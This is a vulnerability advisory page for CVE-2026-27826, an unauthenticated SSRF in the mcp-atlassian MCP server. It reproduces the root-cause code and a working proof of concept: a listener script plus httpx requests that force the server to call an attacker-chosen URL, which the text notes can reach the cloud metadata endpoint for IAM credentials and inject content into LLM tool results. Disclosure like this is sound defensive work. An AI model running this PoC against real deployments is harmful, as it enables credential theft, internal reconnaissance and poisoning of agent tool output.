INCIDENT MAP

Browse / MCP and Tool Server Flaws / CVE-2026-27826

MCP Atlassian has SSRF via unvalidated X-Atlassian-Jira-Url / X-Atlassian-Confluence-Url headers

CVE-2026-27826 · 2026-03-10 high

Class
MCP and Tool Server Flaws (filed by a model that read the advisory)
Technique
Server-side request forgery
Affected
mcp-atlassian (PyPI)
CVSS
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
EPSS
13.9% chance of exploitation in 30 days

How it works, in short

Unauthenticated requests carrying custom URL headers make the MCP server send requests to attacker-chosen URLs, including internal metadata services. (Our summary, written by a model. The source text is below.)

Details

Summary

An unauthenticated attacker who can reach the mcp-atlassian HTTP endpoint can force the server process to make outbound HTTP requests to an arbitrary attacker-controlled URL by supplying two custom HTTP headers without an Authorization header. No authentication is required. The vulnerability exists in the HTTP middleware and dependency injection layer — not in any MCP tool handler - making it invisible to tool-level code analysis. In cloud deployments, this could enable theft of IAM role credentials via the instance metadata endpoint (169.254.169.254). In any HTTP deployment it enables internal network reconnaissance and injection of attacker-controlled content into LLM tool results.

Details

The server supports a multi-tenant HTTP authentication mode where clients supply per-request Jira/Confluence URLs via custom headers. The middleware (src/mcp_atlassian/servers/main.py:436–448) extracts X-Atlassian-Jira-Url from the request and stores it in request state with no validation. The dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217) then uses this value directly as the url= parameter when constructing a JiraConfig and JiraFetcher. The first method call on the fetcher (get_current_user_account_id()) immediately issues a GET request to {header_url}/rest/api/2/myself — an outbound SSRF call to the attacker-controlled URL.

No comparison is made against the server-configured JIRA_URL environment variable. No private IP range blocklist is applied. No URL scheme allowlist is enforced.

Trigger conditions — all four must hold:
1. Server running with --transport streamable-http or --transport sse
2. Request contains X-Atlassian-Jira-Url header (any non-empty value)
3. Request contains X-Atlassian-Jira-Personal-Token header (any non-empty value)
4. Request has no Authorization header

An identical vulnerability exists for Confluence at dependencies.py:341–393 via X-Atlassian-Confluence-Url +
X-Atlassian-Confluence-Personal-Token.

Root cause - middleware (src/mcp_atlassian/servers/main.py:436–448):
```python
# When service headers are present and no Authorization header is provided,
# auth type is set to "pat" but user_atlassian_token is NOT set.
# This is what routes execution to the vulnerable path below.
if service_headers and (jira_token_str and jira_url_str):
scope["state"]["user_atlassian_auth_type"] = "pat"

Root cause - dependency provider (src/mcp_atlassian/servers/dependencies.py:189–217):
if (
user_auth_type == "pat"
and jira_url_header # attacker-controlled, no validation
and jira_token_header
and not hasattr(request.state, "user_atlassian_token")
):
header_config = JiraConfig(
url=jira_url_header, # used directly, no allowlist check
personal_token=jira_token_header,
...
)
header_jira_fetcher = JiraFetcher(config=header_config)
header_jira_fetcher.get_current_user_account_id()
# ^ GET {jira_url_header}/rest/api/2/myself — outbound SSRF call
request.state.jira_fetcher = header_jira_fetcher # cached for all tool calls this request

PoC

Step 1 - Start a listener to capture the inbound SSRF request:

listener.py

from http.server import HTTPServer, BaseHTTPRequestHandler import json, sys

class Handler(BaseHTTPRequestHandler):
def do_GET(self):
print(f"[SSRF RECEIVED] Path: {self.path}", file=sys.stderr)
print(f"[SSRF RECEIVED] Headers: {dict(self.headers)}", file=sys.stderr)
self.send_response(200)
self.send_header("Content-Type", "application/json")
self.end_headers()
if "myself" in self.path:
self.wfile.write(json.dumps({
"accountId": "ssrf-confirmed",
"displayName": "SSRF PoC"
}).encode())
else:
self.wfile.write(b"{}")
def log_message(self, *args): pass

HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()

Step 2 - Start mcp-atlassian in HTTP transport mode (placeholder credentials are sufficient — the vulnerable path is reached before any real Atlassian instance is contacted):

JIRA_URL=https://placeholder.atlassian.net \
JIRA_API_TOKEN=placeholder \
mcp-atlassian --transport streamable-http --port 8000

Step 3 — Trigger the SSRF:

import httpx, json

MCP = "http://localhost:8000/mcp"
ATTACK = "http://<listener-ip>:8888"

Initialize MCP session

r = httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "initialize", "params": {"protocolVersion": "2024-11-05", "capabilities": {}, "clientInfo": {"name": "poc", "version": "1.0"}}, "id": 1 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", # No Authorization header — this is the key condition }) sid = r.headers.get("mcp-session-id")

Call any Jira tool — this triggers get_jira_fetcher() and the outbound SSRF call

httpx.post(MCP, json={ "jsonrpc": "2.0", "method": "tools/call", "params": {"name": "jira_get_issue", "arguments": {"issue_key": "PROJ-1"}}, "id": 2 }, headers={ "X-Atlassian-Jira-Url": ATTACK, "X-Atlassian-Jira-Personal-Token": "any-value", "Mcp-Session-Id": sid, })

The listener will receive GET /rest/api/2/myself originating from the MCP server process, confirming the SSRF.

Impact

This vulnerability affects any deployment using --transport streamable-http or --transport sse. The default HOST=0.0.0.0 binding exposes the HTTP endpoint to any host on the same network without any configuration change, and to the internet when deployed on a cloud instance.

References

Source: GitHub Advisory Database, used under CC BY 4.0.